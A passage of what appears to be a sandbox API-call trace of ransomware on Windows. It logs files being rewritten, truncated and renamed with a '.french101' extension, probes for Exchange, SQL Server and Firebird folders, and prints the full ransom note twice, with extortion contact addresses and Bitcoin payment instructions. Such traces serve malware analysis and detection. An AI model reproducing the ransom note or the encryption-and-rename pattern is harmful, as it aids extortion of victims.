(in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.181] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.181] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.181] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x20) returned 1 [0284.182] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.182] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.182] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x16c82 [0284.182] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.182] SetFilePointer (in: hFile=0x308, lDistanceToMove=93314, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x16c82 [0284.182] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.198] CloseHandle (hObject=0x308) returned 1 [0284.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.244] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.244] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x16c83 [0284.245] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.245] SetFilePointer (in: hFile=0x308, lDistanceToMove=93314, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x16c82 [0284.245] SetEndOfFile (hFile=0x308) returned 1 [0284.247] CloseHandle (hObject=0x308) returned 1 [0284.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x16c82 [0284.248] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.266] CloseHandle (hObject=0x308) returned 1 [0284.266] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\uW0H=zaVc7icr8isatIa4LLVQxg8N1o=dlOzhBkxfVg0DA.french101" (normalized: "c:\\588bce7c90097ed212\\extended\\uw0h=zavc7icr8isatia4llvqxg8n1o=dlozhbkxfvg0da.french101")) returned 1 [0284.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\uW0H=zaVc7icr8isatIa4LLVQxg8N1o=dlOzhBkxfVg0DA.french101" (normalized: "c:\\588bce7c90097ed212\\extended\\uw0h=zavc7icr8isatia4llvqxg8n1o=dlozhbkxfvg0da.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.267] CloseHandle (hObject=0x308) returned 1 [0284.267] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\uW0H=zaVc7icr8isatIa4LLVQxg8N1o=dlOzhBkxfVg0DA.french101", dwFileAttributes=0x80) returned 1 [0284.268] CloseHandle (hObject=0x308) returned 0 [0284.268] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.268] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0284.268] GetLastError () returned 0x2 [0284.268] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\extended\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.270] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0284.273] CloseHandle (hObject=0x308) returned 1 [0284.274] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.274] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.274] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.274] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.274] CharLowerBuffW (in: lpsz="UiInfo.xml", cchLength=0xa | out: lpsz="uiinfo.xml") returned 0xa [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.274] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.274] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0284.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmll", lpUsedDefaultChar=0x0) returned 4 [0284.275] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.275] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.275] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.275] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.275] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x20) returned 1 [0284.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.276] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.276] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x988a [0284.276] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.276] SetFilePointer (in: hFile=0x308, lDistanceToMove=39050, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x988a [0284.276] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.327] CloseHandle (hObject=0x308) returned 1 [0284.378] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.379] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.379] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x988b [0284.379] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.379] SetFilePointer (in: hFile=0x308, lDistanceToMove=39050, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x988a [0284.379] SetEndOfFile (hFile=0x308) returned 1 [0284.384] CloseHandle (hObject=0x308) returned 1 [0284.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.384] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.384] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x988a [0284.384] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.404] CloseHandle (hObject=0x308) returned 1 [0284.404] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\H6qGD01FFDSP1dc=PuW9qADZ4kk.french101" (normalized: "c:\\588bce7c90097ed212\\extended\\h6qgd01ffdsp1dc=puw9qadz4kk.french101")) returned 1 [0284.405] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\H6qGD01FFDSP1dc=PuW9qADZ4kk.french101" (normalized: "c:\\588bce7c90097ed212\\extended\\h6qgd01ffdsp1dc=puw9qadz4kk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.405] CloseHandle (hObject=0x308) returned 1 [0284.405] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\H6qGD01FFDSP1dc=PuW9qADZ4kk.french101", dwFileAttributes=0x80) returned 1 [0284.406] CloseHandle (hObject=0x308) returned 0 [0284.406] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.406] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0284.406] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0284.406] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0284.406] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.406] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\extended\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.407] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.407] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.407] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.407] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.407] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.407] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.407] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0284.407] CloseHandle (hObject=0x308) returned 1 [0284.407] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0284.407] GetLastError () returned 0x12 [0284.407] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0284.407] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0284.408] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0284.408] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.408] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.408] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.408] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.408] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.408] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.408] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.408] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.408] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.408] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.409] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.409] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.409] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.409] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.409] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0284.409] GetLastError () returned 0x12 [0284.409] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0284.409] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0284.409] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0284.409] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0284.409] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.409] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0284.409] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0284.409] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0284.409] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.410] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.410] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\Graphics", len=0x1e | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\Graphics") returned 1 [0284.410] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.421] GetLastError () returned 0x3 [0284.421] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0284.421] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.423] GetLastError () returned 0x2 [0284.423] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0284.423] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.425] GetLastError () returned 0x2 [0284.425] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Graphics\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\graphics\\") returned 0x1f [0284.425] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a098, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 